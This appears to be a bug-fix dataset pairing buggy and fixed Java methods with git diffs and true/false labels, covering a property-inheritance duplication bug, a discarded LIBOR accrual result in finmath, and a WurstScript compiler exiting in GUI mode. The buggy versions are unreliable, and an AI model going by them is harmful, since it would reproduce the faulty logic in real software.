public Collection<? extends PropertyDefinition> getProperties() { Collection<PropertyDefinition> properties = new ArrayList<PropertyDefinition>(); if (inheritedProperties == null) { inheritedProperties = new ArrayList<PropertyDefinition>(); // populate inherited attributes DefaultTypeDefinition parent = getSuperType(); while (parent != null) { for (PropertyDefinition parentProperty : parent.getDeclaredProperties()) { // create attribute definition copy PropertyDefinition reparent = new ReparentProperty(parentProperty, this); inheritedProperties.add(reparent); } parent = parent.getSuperType(); } } // add inherited properties properties.addAll(inheritedProperties); // add declared properties afterwards - correct order for output properties.addAll(inheritedProperties); return properties; }
public Collection<? extends PropertyDefinition> getProperties() { Collection<PropertyDefinition> properties = new ArrayList<PropertyDefinition>(); if (inheritedProperties == null) { inheritedProperties = new ArrayList<PropertyDefinition>(); // populate inherited attributes DefaultTypeDefinition parent = getSuperType(); while (parent != null) { for (PropertyDefinition parentProperty : parent.getDeclaredProperties()) { // create attribute definition copy PropertyDefinition reparent = new ReparentProperty(parentProperty, this); inheritedProperties.add(reparent); } parent = parent.getSuperType(); } } // add inherited properties properties.addAll(inheritedProperties); // add declared properties afterwards - correct order for output properties.addAll(declaredProperties); return properties; }
diff --git a/src/net/finmath/montecarlo/interestrate/LIBORModelMonteCarloSimulation.java b/src/net/finmath/montecarlo/interestrate/LIBORModelMonteCarloSimulation.java index b25a55a2..293b7bea 100755 --- a/src/net/finmath/montecarlo/interestrate/LIBORModelMonteCarloSimulation.java +++ b/src/net/finmath/montecarlo/interestrate/LIBORModelMonteCarloSimulation.java @@ -1,265 +1,265 @@ /* * (c) Copyright Christian P. Fries, Germany. All rights reserved. Contact: [email protected]. * * Created on 09.02.2004 */ package net.finmath.montecarlo.interestrate; import java.util.Map; import net.finmath.exception.CalculationException; import net.finmath.montecarlo.BrownianMotionInterface; import net.finmath.montecarlo.RandomVariable; import net.finmath.montecarlo.interestrate.modelplugins.AbstractLIBORCovarianceModel; import net.finmath.montecarlo.process.AbstractProcess; import net.finmath.montecarlo.process.AbstractProcessInterface; import net.finmath.stochastic.RandomVariableInterface; import net.finmath.time.TimeDiscretizationInterface; /** * Implements convenient methods for a libor market model, * based on a given <code>LIBORMarketModel</code> model * and <code>AbstractLogNormalProcess</code> process. * * @author Christian Fries * @version 0.6 */ public class LIBORModelMonteCarloSimulation implements LIBORModelMonteCarloSimulationInterface { private final LIBORMarketModelInterface model; /** * Create a LIBOR Monte-Carlo Simulation from a given LIBORMarketModel and an AbstractProcess. * * @param model The LIBORMarketModel. * @param process The process. */ public LIBORModelMonteCarloSimulation(LIBORMarketModelInterface model, AbstractProcess process) { super(); this.model = model; this.model.setProcess(process); process.setModel(model); } /* (non-Javadoc) * @see net.finmath.montecarlo.interestrate.LIBORModelMonteCarloSimulationInterface#getMonteCarloWeights(int) */ @Override public RandomVariableInterface getMonteCarloWeights(int timeIndex) throws CalculationException { return model.getProcess().getMonteCarloWeights(timeIndex); } /* (non-Javadoc) * @see net.finmath.montecarlo.interestrate.LIBORModelMonteCarloSimulationInterface#getMonteCarloWeights(double) */ @Override public RandomVariableInterface getMonteCarloWeights(double time) throws CalculationException { return model.getProcess().getMonteCarloWeights(getTimeIndex(time)); } /* (non-Javadoc) * @see net.finmath.montecarlo.interestrate.LIBORModelMonteCarloSimulationInterface#getNumberOfFactors() */ @Override public int getNumberOfFactors() { return model.getProcess().getNumberOfFactors(); } /* (non-Javadoc) * @see net.finmath.montecarlo.MonteCarloSimulationInterface#getNumberOfPaths() */ @Override public int getNumberOfPaths() { return model.getProcess().getNumberOfPaths(); } /* (non-Javadoc) * @see net.finmath.montecarlo.MonteCarloSimulationInterface#getTime(int) */ @Override public double getTime(int timeIndex) { return model.getProcess().getTime(timeIndex); } /* (non-Javadoc) * @see net.finmath.montecarlo.MonteCarloSimulationInterface#getTimeDiscretization() */ @Override public TimeDiscretizationInterface getTimeDiscretization() { return model.getProcess().getTimeDiscretization(); } /* (non-Javadoc) * @see net.finmath.montecarlo.MonteCarloSimulationInterface#getTimeIndex(double) */ @Override public int getTimeIndex(double time) { return model.getProcess().getTimeIndex(time); } /* (non-Javadoc) * @see net.finmath.montecarlo.interestrate.LIBORModelMonteCarloSimulationInterface#getBrownianMotion() */ @Override public BrownianMotionInterface getBrownianMotion() { return model.getProcess().getBrownianMotion(); } /* (non-Javadoc) * @see net.finmath.montecarlo.interestrate.LIBORModelMonteCarloSimulationInterface#getLIBOR(int, int) */ @Override public RandomVariableInterface getLIBOR(int timeIndex, int liborIndex) throws CalculationException { return model.getLIBOR(timeIndex, liborIndex); } /* (non-Javadoc) * @see net.finmath.montecarlo.interestrate.LIBORModelMonteCarloSimulationInterface#getLIBORs(int) */ @Override public RandomVariableInterface[] getLIBORs(int timeIndex) throws CalculationException { RandomVariableInterface[] randomVariableVector = new RandomVariableInterface[getNumberOfComponents()]; for(int componentIndex=0; componentIndex<getNumberOfComponents(); componentIndex++) randomVariableVector[componentIndex] = getLIBOR(timeIndex, componentIndex); return randomVariableVector; } /* (non-Javadoc) * @see net.finmath.montecarlo.interestrate.LIBORModelMonteCarloSimulationInterface#getLIBOR(double, double, double) */ @Override public RandomVariableInterface getLIBOR(double time, double periodStart, double periodEnd) throws CalculationException { int periodStartIndex = getLiborPeriodIndex(periodStart); int periodEndIndex = getLiborPeriodIndex(periodEnd); // Interpolation on tenor, consistent with interpolation on numeraire: interpolate end date if(periodEndIndex < 0) { int previousEndIndex = -periodEndIndex-1; double previousEndTime = getLiborPeriod(previousEndIndex); double nextEndTime = getLiborPeriod(previousEndIndex+1); RandomVariableInterface libor = getLIBOR(time, periodStart, previousEndTime); RandomVariableInterface liborShortPeriod = getLIBOR(time, previousEndTime, nextEndTime); libor = libor.mult(previousEndTime-periodStart).add(1.0).accrue(liborShortPeriod, periodEnd-previousEndTime).sub(1.0).div(periodEnd-periodStart); return libor; } // Interpolation on tenor, consistent with interpolation on numeraire: interpolate start date if(periodStartIndex < 0) { int previousStartIndex = -periodStartIndex-1; double previousStartTime = getLiborPeriod(previousStartIndex); double nextStartTime = getLiborPeriod(previousStartIndex+1); RandomVariableInterface libor = getLIBOR(time, nextStartTime, periodEnd); RandomVariableInterface liborShortPeriod = getLIBOR(time, previousStartTime, nextStartTime); libor = libor.mult(periodEnd-previousStartTime).add(1.0).discount(liborShortPeriod, periodStart-previousStartTime).sub(1.0).div(periodEnd-periodStart); return libor; } if(periodStartIndex < 0 || periodEndIndex < 0) throw new CalculationException("LIBOR requested outside libor discretization points. Interpolation not supported yet."); int timeIndex = getTimeIndex(time); if(timeIndex < 0) throw new CalculationException("LIBOR requested at time outside simulation discretization points. Interpolation not supported yet."); // If this is a model primitive then return it if(periodStartIndex+1==periodEndIndex) return getLIBOR(timeIndex, periodStartIndex); // The requested LIBOR is not a model primitive. We need to calculate it (slow!) RandomVariableInterface accrualAccount = new RandomVariable(1.0); // Calculate the value of the forward bond for(int periodIndex = periodStartIndex; periodIndex<periodEndIndex; periodIndex++) { double subPeriodLength = getLiborPeriod(periodIndex+1) - getLiborPeriod(periodIndex); RandomVariableInterface liborOverSubPeriod = getLIBOR(timeIndex, periodIndex); - accrualAccount.accrue(liborOverSubPeriod, subPeriodLength); + accrualAccount = accrualAccount.accrue(liborOverSubPeriod, subPeriodLength); } RandomVariableInterface libor = accrualAccount.sub(1.0).div(periodEnd - periodStart); return libor; } /* (non-Javadoc) * @see net.finmath.montecarlo.interestrate.LIBORModelMonteCarloSimulationInterface#getLiborPeriod(int) */ @Override public double getLiborPeriod(int timeIndex) { return model.getLiborPeriod(timeIndex); } /* (non-Javadoc) * @see net.finmath.montecarlo.interestrate.LIBORModelMonteCarloSimulationInterface#getLiborPeriodDiscretization() */ public TimeDiscretizationInterface getLiborPeriodDiscretization() { return model.getLiborPeriodDiscretization(); } /* (non-Javadoc) * @see net.finmath.montecarlo.interestrate.LIBORModelMonteCarloSimulationInterface#getLiborPeriodIndex(double) */ public int getLiborPeriodIndex(double time) { return model.getLiborPeriodIndex(time); } /* (non-Javadoc) * @see net.finmath.montecarlo.MonteCarloSimulationInterface#getNumberOfComponents() */ public int getNumberOfComponents() { return model.getNumberOfComponents(); } /* (non-Javadoc) * @see net.finmath.montecarlo.interestrate.LIBORModelMonteCarloSimulationInterface#getNumberOfLibors() */ public int getNumberOfLibors() { return model.getNumberOfLibors(); } /* (non-Javadoc) * @see net.finmath.montecarlo.interestrate.LIBORModelMonteCarloSimulationInterface#getNumeraire(double) */ public RandomVariableInterface getNumeraire(double time) throws CalculationException { return model.getNumeraire(time); } /* (non-Javadoc) * @see net.finmath.montecarlo.interestrate.LIBORModelMonteCarloSimulationInterface#getCovarianceModel() */ public AbstractLIBORCovarianceModel getCovarianceModel() { return model.getCovarianceModel(); } /* (non-Javadoc) * @see net.finmath.montecarlo.interestrate.LIBORModelMonteCarloSimulationInterface#getModel() */ public LIBORMarketModelInterface getModel() { return model; } /* (non-Javadoc) * @see net.finmath.montecarlo.interestrate.LIBORModelMonteCarloSimulationInterface#getProcess() */ public AbstractProcessInterface getProcess() { return model.getProcess(); } /* (non-Javadoc) * @see net.finmath.montecarlo.interestrate.LIBORModelMonteCarloSimulationInterface#getCloneWithModifiedSeed(int) */ public Object getCloneWithModifiedSeed(int seed) { AbstractProcess process = (AbstractProcess) ((AbstractProcess)getProcess()).getCloneWithModifiedSeed(seed); return new LIBORModelMonteCarloSimulation(model, process); } /* (non-Javadoc) * @see net.finmath.montecarlo.MonteCarloSimulationInterface#getCloneWithModifiedData(java.util.Map) */ public LIBORModelMonteCarloSimulationInterface getCloneWithModifiedData(Map<String, Object> dataModified) throws CalculationException { LIBORMarketModelInterface modelClone = model.getCloneWithModifiedData(dataModified); return new LIBORModelMonteCarloSimulation(modelClone, (AbstractProcess) getProcess().clone()); } }
true
true
public RandomVariableInterface getLIBOR(double time, double periodStart, double periodEnd) throws CalculationException { int periodStartIndex = getLiborPeriodIndex(periodStart); int periodEndIndex = getLiborPeriodIndex(periodEnd); // Interpolation on tenor, consistent with interpolation on numeraire: interpolate end date if(periodEndIndex < 0) { int previousEndIndex = -periodEndIndex-1; double previousEndTime = getLiborPeriod(previousEndIndex); double nextEndTime = getLiborPeriod(previousEndIndex+1); RandomVariableInterface libor = getLIBOR(time, periodStart, previousEndTime); RandomVariableInterface liborShortPeriod = getLIBOR(time, previousEndTime, nextEndTime); libor = libor.mult(previousEndTime-periodStart).add(1.0).accrue(liborShortPeriod, periodEnd-previousEndTime).sub(1.0).div(periodEnd-periodStart); return libor; } // Interpolation on tenor, consistent with interpolation on numeraire: interpolate start date if(periodStartIndex < 0) { int previousStartIndex = -periodStartIndex-1; double previousStartTime = getLiborPeriod(previousStartIndex); double nextStartTime = getLiborPeriod(previousStartIndex+1); RandomVariableInterface libor = getLIBOR(time, nextStartTime, periodEnd); RandomVariableInterface liborShortPeriod = getLIBOR(time, previousStartTime, nextStartTime); libor = libor.mult(periodEnd-previousStartTime).add(1.0).discount(liborShortPeriod, periodStart-previousStartTime).sub(1.0).div(periodEnd-periodStart); return libor; } if(periodStartIndex < 0 || periodEndIndex < 0) throw new CalculationException("LIBOR requested outside libor discretization points. Interpolation not supported yet."); int timeIndex = getTimeIndex(time); if(timeIndex < 0) throw new CalculationException("LIBOR requested at time outside simulation discretization points. Interpolation not supported yet."); // If this is a model primitive then return it if(periodStartIndex+1==periodEndIndex) return getLIBOR(timeIndex, periodStartIndex); // The requested LIBOR is not a model primitive. We need to calculate it (slow!) RandomVariableInterface accrualAccount = new RandomVariable(1.0); // Calculate the value of the forward bond for(int periodIndex = periodStartIndex; periodIndex<periodEndIndex; periodIndex++) { double subPeriodLength = getLiborPeriod(periodIndex+1) - getLiborPeriod(periodIndex); RandomVariableInterface liborOverSubPeriod = getLIBOR(timeIndex, periodIndex); accrualAccount.accrue(liborOverSubPeriod, subPeriodLength); } RandomVariableInterface libor = accrualAccount.sub(1.0).div(periodEnd - periodStart); return libor; }
public RandomVariableInterface getLIBOR(double time, double periodStart, double periodEnd) throws CalculationException { int periodStartIndex = getLiborPeriodIndex(periodStart); int periodEndIndex = getLiborPeriodIndex(periodEnd); // Interpolation on tenor, consistent with interpolation on numeraire: interpolate end date if(periodEndIndex < 0) { int previousEndIndex = -periodEndIndex-1; double previousEndTime = getLiborPeriod(previousEndIndex); double nextEndTime = getLiborPeriod(previousEndIndex+1); RandomVariableInterface libor = getLIBOR(time, periodStart, previousEndTime); RandomVariableInterface liborShortPeriod = getLIBOR(time, previousEndTime, nextEndTime); libor = libor.mult(previousEndTime-periodStart).add(1.0).accrue(liborShortPeriod, periodEnd-previousEndTime).sub(1.0).div(periodEnd-periodStart); return libor; } // Interpolation on tenor, consistent with interpolation on numeraire: interpolate start date if(periodStartIndex < 0) { int previousStartIndex = -periodStartIndex-1; double previousStartTime = getLiborPeriod(previousStartIndex); double nextStartTime = getLiborPeriod(previousStartIndex+1); RandomVariableInterface libor = getLIBOR(time, nextStartTime, periodEnd); RandomVariableInterface liborShortPeriod = getLIBOR(time, previousStartTime, nextStartTime); libor = libor.mult(periodEnd-previousStartTime).add(1.0).discount(liborShortPeriod, periodStart-previousStartTime).sub(1.0).div(periodEnd-periodStart); return libor; } if(periodStartIndex < 0 || periodEndIndex < 0) throw new CalculationException("LIBOR requested outside libor discretization points. Interpolation not supported yet."); int timeIndex = getTimeIndex(time); if(timeIndex < 0) throw new CalculationException("LIBOR requested at time outside simulation discretization points. Interpolation not supported yet."); // If this is a model primitive then return it if(periodStartIndex+1==periodEndIndex) return getLIBOR(timeIndex, periodStartIndex); // The requested LIBOR is not a model primitive. We need to calculate it (slow!) RandomVariableInterface accrualAccount = new RandomVariable(1.0); // Calculate the value of the forward bond for(int periodIndex = periodStartIndex; periodIndex<periodEndIndex; periodIndex++) { double subPeriodLength = getLiborPeriod(periodIndex+1) - getLiborPeriod(periodIndex); RandomVariableInterface liborOverSubPeriod = getLIBOR(timeIndex, periodIndex); accrualAccount = accrualAccount.accrue(liborOverSubPeriod, subPeriodLength); } RandomVariableInterface libor = accrualAccount.sub(1.0).div(periodEnd - periodStart); return libor; }
diff --git a/de.peeeq.wurstscript/src/de/peeeq/wurstio/Main.java b/de.peeeq.wurstscript/src/de/peeeq/wurstio/Main.java index 83d436fe..e18c6faf 100644 --- a/de.peeeq.wurstscript/src/de/peeeq/wurstio/Main.java +++ b/de.peeeq.wurstscript/src/de/peeeq/wurstio/Main.java @@ -1,250 +1,253 @@ package de.peeeq.wurstio; import java.io.File; import java.io.IOException; import java.text.SimpleDateFormat; import java.util.Date; import java.util.logging.FileHandler; import java.util.logging.Handler; import java.util.logging.Level; import java.util.logging.SimpleFormatter; import javax.swing.JOptionPane; import com.google.common.base.Charsets; import com.google.common.io.Files; import de.peeeq.wurstio.Pjass.Result; import de.peeeq.wurstio.gui.About; import de.peeeq.wurstio.gui.WurstGuiImpl; import de.peeeq.wurstio.hotdoc.HotdocGenerator; import de.peeeq.wurstio.mpq.MpqEditor; import de.peeeq.wurstio.mpq.MpqEditorFactory; import de.peeeq.wurstscript.BackupController; import de.peeeq.wurstscript.ErrorReporting; import de.peeeq.wurstscript.RunArgs; import de.peeeq.wurstscript.WLogger; import de.peeeq.wurstscript.ast.WurstModel; import de.peeeq.wurstscript.attributes.CompileError; import de.peeeq.wurstscript.gui.WurstGui; import de.peeeq.wurstscript.gui.WurstGuiCliImpl; import de.peeeq.wurstscript.jassAst.JassProg; import de.peeeq.wurstscript.jassprinter.JassPrinter; import de.peeeq.wurstscript.translation.imtranslation.FunctionFlag; import de.peeeq.wurstscript.utils.Utils; public class Main { /** * @param args */ public static void main(String[] args) { if (args.length == 0) { new RunArgs("-help"); } setUpFileLogging(); WLogger.keepLogs(true); // JOptionPane.showMessageDialog(null , "time to connect profiler ^^"); SimpleDateFormat sdf = new SimpleDateFormat("dd-MM-yyyy hh:mm:ss"); Date myDate = new Date(); WLogger.info( ">>> " + sdf.format(myDate) + " - Started compiler ("+About.version+") with args " + Utils.printSep(", ", args)); try { WLogger.info("compiler path1: " + Main.class.getProtectionDomain().getCodeSource().getLocation()); WLogger.info("compiler path2: " + ClassLoader.getSystemClassLoader().getResource(".").getPath()); } catch (Throwable t) {} WurstGui gui = null; WurstCompilerJassImpl compiler = null; + RunArgs runArgs = null; try { - RunArgs runArgs = new RunArgs(args); + runArgs = new RunArgs(args); if (runArgs.showAbout()) { About about = new About(null, false); about.setVisible(true); return; } if (runArgs.createHotDoc()) { HotdocGenerator hg = new HotdocGenerator(runArgs.getFiles()); hg.generateDoc(); } if (runArgs.isGui()) { gui = new WurstGuiImpl(); // use the error reporting with GUI ErrorReporting.instance = new ErrorReportingIO(); } else { gui = new WurstGuiCliImpl(); } if (runArgs.showLastErrors()) { // @SuppressWarnings("unchecked") // // List<CompileError> errors = (List<CompileError>) Utils.loadFromFile("lastErrors.data"); // if (errors == null || errors.size() == 0) { // JOptionPane.showMessageDialog(null, "No errors where found."); // } else { // for (CompileError e : errors) { // gui.sendError(e); // } // } // gui.sendFinished(); JOptionPane.showMessageDialog(null, "not implemented"); return; } try { if (runArgs.getMapFile() != null) { // tempfolder File tempFolder = new File("./temp/"); tempFolder.mkdirs(); BackupController bc = new BackupController(); bc.makeBackup(runArgs.getMapFile(), 24); } compilation : do { compiler = new WurstCompilerJassImpl(gui, runArgs); for (String file: runArgs.getFiles()) { compiler.loadFiles(file); } WurstModel model = compiler.parseFiles(); if (gui.getErrorCount() > 0) { break compilation; } compiler.checkProg(model); if (gui.getErrorCount() > 0) { break compilation; } compiler.translateProgToIm(model); if (gui.getErrorCount() > 0) { break compilation; } if (runArgs.runCompiletimeFunctions()) { gui.sendProgress("Running tests", 0.9); CompiletimeFunctionRunner ctr = new CompiletimeFunctionRunner(compiler.getImProg(), compiler.getMapFile(), gui, FunctionFlag.IS_TEST); ctr.run(); } if (runArgs.runCompiletimeFunctions()) { gui.sendProgress("Running compiletime functions", 0.91); CompiletimeFunctionRunner ctr = new CompiletimeFunctionRunner(compiler.getImProg(), compiler.getMapFile(), gui, FunctionFlag.IS_COMPILETIME); ctr.setInjectObjects(runArgs.isInjectObjects()); ctr.run(); } JassProg jassProg = compiler.transformProgToJass(); if (jassProg == null || gui.getErrorCount() > 0) { break compilation; } boolean withSpace; if (runArgs.isOptimize()) { withSpace = false; } else { withSpace = true; } gui.sendProgress("Printing Jass", 0.91); JassPrinter printer = new JassPrinter(withSpace); CharSequence mapScript = printer.printProg(jassProg); // output to file gui.sendProgress("Writing output file", 0.98); File outputMapscript; if (runArgs.getOutFile() != null) { outputMapscript = new File(runArgs.getOutFile()); } else { //outputMapscript = File.createTempFile("outputMapscript", ".j"); outputMapscript = new File("./temp/output.j"); } outputMapscript.getParentFile().mkdirs(); Files.write(mapScript, outputMapscript, Charsets.UTF_8); // use ascii here, wc3 no understand utf8, you know? Result pJassResult = Pjass.runPjass(outputMapscript); WLogger.info(pJassResult.getMessage()); if (!pJassResult.isOk()) { for (CompileError err : pJassResult.getErrors()) { gui.sendError(err); } break compilation; } if (runArgs.getMapFile() != null) { // output to map gui.sendProgress("Writing to map", 0.99); File mapFile = new File(runArgs.getMapFile()); MpqEditor mpqEditor = MpqEditorFactory.getEditor(); mpqEditor.deleteFile(mapFile, "war3map.j"); mpqEditor.insertFile(mapFile, "war3map.j", outputMapscript); mpqEditor.compactArchive(mapFile); } } while (false); // dummy loop to allow "break compilation" gui.sendProgress("Finished!", 1); // List<CompileError> errors = gui.getErrorList(); // Utils.saveToFile(errors, "lastErrors.data"); } catch (AbortCompilationException e) { gui.showInfoMessage(e.getMessage()); } } catch (Throwable t) { String source = ""; try { if (compiler != null) { source = compiler.getCompleteSourcecode(); } } catch (Throwable t2) { WLogger.severe(t2); } ErrorReporting.instance.handleSevere(t, source); - System.exit(2); + if (!runArgs.isGui()) { + System.exit(2); + } } finally { if (gui != null) { gui.sendFinished(); - if (gui.getErrorCount() > 0) { + if (!runArgs.isGui() && gui.getErrorCount() > 0) { // signal that there was an error when compiling System.exit(1); } } } } public static void setUpFileLogging() { try { // set up file logging: String logFile = "logs/test.log"; new File(logFile).mkdirs(); Handler handler = new FileHandler(logFile, Integer.MAX_VALUE, 20); handler.setFormatter(new SimpleFormatter()); WLogger.setHandler(handler); WLogger.setLevel(Level.INFO); } catch (SecurityException e) { e.printStackTrace(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } }
false
true
public static void main(String[] args) { if (args.length == 0) { new RunArgs("-help"); } setUpFileLogging(); WLogger.keepLogs(true); // JOptionPane.showMessageDialog(null , "time to connect profiler ^^"); SimpleDateFormat sdf = new SimpleDateFormat("dd-MM-yyyy hh:mm:ss"); Date myDate = new Date(); WLogger.info( ">>> " + sdf.format(myDate) + " - Started compiler ("+About.version+") with args " + Utils.printSep(", ", args)); try { WLogger.info("compiler path1: " + Main.class.getProtectionDomain().getCodeSource().getLocation()); WLogger.info("compiler path2: " + ClassLoader.getSystemClassLoader().getResource(".").getPath()); } catch (Throwable t) {} WurstGui gui = null; WurstCompilerJassImpl compiler = null; try { RunArgs runArgs = new RunArgs(args); if (runArgs.showAbout()) { About about = new About(null, false); about.setVisible(true); return; } if (runArgs.createHotDoc()) { HotdocGenerator hg = new HotdocGenerator(runArgs.getFiles()); hg.generateDoc(); } if (runArgs.isGui()) { gui = new WurstGuiImpl(); // use the error reporting with GUI ErrorReporting.instance = new ErrorReportingIO(); } else { gui = new WurstGuiCliImpl(); } if (runArgs.showLastErrors()) { // @SuppressWarnings("unchecked") // // List<CompileError> errors = (List<CompileError>) Utils.loadFromFile("lastErrors.data"); // if (errors == null || errors.size() == 0) { // JOptionPane.showMessageDialog(null, "No errors where found."); // } else { // for (CompileError e : errors) { // gui.sendError(e); // } // } // gui.sendFinished(); JOptionPane.showMessageDialog(null, "not implemented"); return; } try { if (runArgs.getMapFile() != null) { // tempfolder File tempFolder = new File("./temp/"); tempFolder.mkdirs(); BackupController bc = new BackupController(); bc.makeBackup(runArgs.getMapFile(), 24); } compilation : do { compiler = new WurstCompilerJassImpl(gui, runArgs); for (String file: runArgs.getFiles()) { compiler.loadFiles(file); } WurstModel model = compiler.parseFiles(); if (gui.getErrorCount() > 0) { break compilation; } compiler.checkProg(model); if (gui.getErrorCount() > 0) { break compilation; } compiler.translateProgToIm(model); if (gui.getErrorCount() > 0) { break compilation; } if (runArgs.runCompiletimeFunctions()) { gui.sendProgress("Running tests", 0.9); CompiletimeFunctionRunner ctr = new CompiletimeFunctionRunner(compiler.getImProg(), compiler.getMapFile(), gui, FunctionFlag.IS_TEST); ctr.run(); } if (runArgs.runCompiletimeFunctions()) { gui.sendProgress("Running compiletime functions", 0.91); CompiletimeFunctionRunner ctr = new CompiletimeFunctionRunner(compiler.getImProg(), compiler.getMapFile(), gui, FunctionFlag.IS_COMPILETIME); ctr.setInjectObjects(runArgs.isInjectObjects()); ctr.run(); } JassProg jassProg = compiler.transformProgToJass(); if (jassProg == null || gui.getErrorCount() > 0) { break compilation; } boolean withSpace; if (runArgs.isOptimize()) { withSpace = false; } else { withSpace = true; } gui.sendProgress("Printing Jass", 0.91); JassPrinter printer = new JassPrinter(withSpace); CharSequence mapScript = printer.printProg(jassProg); // output to file gui.sendProgress("Writing output file", 0.98); File outputMapscript; if (runArgs.getOutFile() != null) { outputMapscript = new File(runArgs.getOutFile()); } else { //outputMapscript = File.createTempFile("outputMapscript", ".j"); outputMapscript = new File("./temp/output.j"); } outputMapscript.getParentFile().mkdirs(); Files.write(mapScript, outputMapscript, Charsets.UTF_8); // use ascii here, wc3 no understand utf8, you know? Result pJassResult = Pjass.runPjass(outputMapscript); WLogger.info(pJassResult.getMessage()); if (!pJassResult.isOk()) { for (CompileError err : pJassResult.getErrors()) { gui.sendError(err); } break compilation; } if (runArgs.getMapFile() != null) { // output to map gui.sendProgress("Writing to map", 0.99); File mapFile = new File(runArgs.getMapFile()); MpqEditor mpqEditor = MpqEditorFactory.getEditor(); mpqEditor.deleteFile(mapFile, "war3map.j"); mpqEditor.insertFile(mapFile, "war3map.j", outputMapscript); mpqEditor.compactArchive(mapFile); } } while (false); // dummy loop to allow "break compilation" gui.sendProgress("Finished!", 1); // List<CompileError> errors = gui.getErrorList(); // Utils.saveToFile(errors, "lastErrors.data"); } catch (AbortCompilationException e) { gui.showInfoMessage(e.getMessage()); } } catch (Throwable t) { String source = ""; try { if (compiler != null) { source = compiler.getCompleteSourcecode(); } } catch (Throwable t2) { WLogger.severe(t2); } ErrorReporting.instance.handleSevere(t, source); System.exit(2); } finally { if (gui != null) { gui.sendFinished(); if (gui.getErrorCount() > 0) { // signal that there was an error when compiling System.exit(1); } } } }
public static void main(String[] args) { if (args.length == 0) { new RunArgs("-help"); } setUpFileLogging(); WLogger.keepLogs(true); // JOptionPane.showMessageDialog(null , "time to connect profiler ^^"); SimpleDateFormat sdf = new SimpleDateFormat("dd-MM-yyyy hh:mm:ss"); Date myDate = new Date(); WLogger.info( ">>> " + sdf.format(myDate) + " - Started compiler ("+About.version+") with args " + Utils.printSep(", ", args)); try { WLogger.info("compiler path1: " + Main.class.getProtectionDomain().getCodeSource().getLocation()); WLogger.info("compiler path2: " + ClassLoader.getSystemClassLoader().getResource(".").getPath()); } catch (Throwable t) {} WurstGui gui = null; WurstCompilerJassImpl compiler = null; RunArgs runArgs = null; try { runArgs = new RunArgs(args); if (runArgs.showAbout()) { About about = new About(null, false); about.setVisible(true); return; } if (runArgs.createHotDoc()) { HotdocGenerator hg = new HotdocGenerator(runArgs.getFiles()); hg.generateDoc(); } if (runArgs.isGui()) { gui = new WurstGuiImpl(); // use the error reporting with GUI ErrorReporting.instance = new ErrorReportingIO(); } else { gui = new WurstGuiCliImpl(); } if (runArgs.showLastErrors()) { // @SuppressWarnings("unchecked") // // List<CompileError> errors = (List<CompileError>) Utils.loadFromFile("lastErrors.data"); // if (errors == null || errors.size() == 0) { // JOptionPane.showMessageDialog(null, "No errors where found."); // } else { // for (CompileError e : errors) { // gui.sendError(e); // } // } // gui.sendFinished(); JOptionPane.showMessageDialog(null, "not implemented"); return; } try { if (runArgs.getMapFile() != null) { // tempfolder File tempFolder = new File("./temp/"); tempFolder.mkdirs(); BackupController bc = new BackupController(); bc.makeBackup(runArgs.getMapFile(), 24); } compilation : do { compiler = new WurstCompilerJassImpl(gui, runArgs); for (String file: runArgs.getFiles()) { compiler.loadFiles(file); } WurstModel model = compiler.parseFiles(); if (gui.getErrorCount() > 0) { break compilation; } compiler.checkProg(model); if (gui.getErrorCount() > 0) { break compilation; } compiler.translateProgToIm(model); if (gui.getErrorCount() > 0) { break compilation; } if (runArgs.runCompiletimeFunctions()) { gui.sendProgress("Running tests", 0.9); CompiletimeFunctionRunner ctr = new CompiletimeFunctionRunner(compiler.getImProg(), compiler.getMapFile(), gui, FunctionFlag.IS_TEST); ctr.run(); } if (runArgs.runCompiletimeFunctions()) { gui.sendProgress("Running compiletime functions", 0.91); CompiletimeFunctionRunner ctr = new CompiletimeFunctionRunner(compiler.getImProg(), compiler.getMapFile(), gui, FunctionFlag.IS_COMPILETIME); ctr.setInjectObjects(runArgs.isInjectObjects()); ctr.run(); } JassProg jassProg = compiler.transformProgToJass(); if (jassProg == null || gui.getErrorCount() > 0) { break compilation; } boolean withSpace; if (runArgs.isOptimize()) { withSpace = false; } else { withSpace = true; } gui.sendProgress("Printing Jass", 0.91); JassPrinter printer = new JassPrinter(withSpace); CharSequence mapScript = printer.printProg(jassProg); // output to file gui.sendProgress("Writing output file", 0.98); File outputMapscript; if (runArgs.getOutFile() != null) { outputMapscript = new File(runArgs.getOutFile()); } else { //outputMapscript = File.createTempFile("outputMapscript", ".j"); outputMapscript = new File("./temp/output.j"); } outputMapscript.getParentFile().mkdirs(); Files.write(mapScript, outputMapscript, Charsets.UTF_8); // use ascii here, wc3 no understand utf8, you know? Result pJassResult = Pjass.runPjass(outputMapscript); WLogger.info(pJassResult.getMessage()); if (!pJassResult.isOk()) { for (CompileError err : pJassResult.getErrors()) { gui.sendError(err); } break compilation; } if (runArgs.getMapFile() != null) { // output to map gui.sendProgress("Writing to map", 0.99); File mapFile = new File(runArgs.getMapFile()); MpqEditor mpqEditor = MpqEditorFactory.getEditor(); mpqEditor.deleteFile(mapFile, "war3map.j"); mpqEditor.insertFile(mapFile, "war3map.j", outputMapscript); mpqEditor.compactArchive(mapFile); } } while (false); // dummy loop to allow "break compilation" gui.sendProgress("Finished!", 1); // List<CompileError> errors = gui.getErrorList(); // Utils.saveToFile(errors, "lastErrors.data"); } catch (AbortCompilationException e) { gui.showInfoMessage(e.getMessage()); } } catch (Throwable t) { String source = ""; try { if (compiler != null) { source = compiler.getCompleteSourcecode(); } } catch (Throwable t2) { WLogger.severe(t2); } ErrorReporting.instance.handleSevere(t, source); if (!runArgs.isGui()) { System.exit(2); } } finally { if (gui != null) { gui.sendFinished(); if (!runArgs.isGui() && gui.getErrorCount() > 0) { // signal that there was an error when compiling System.exit(1); } } } }
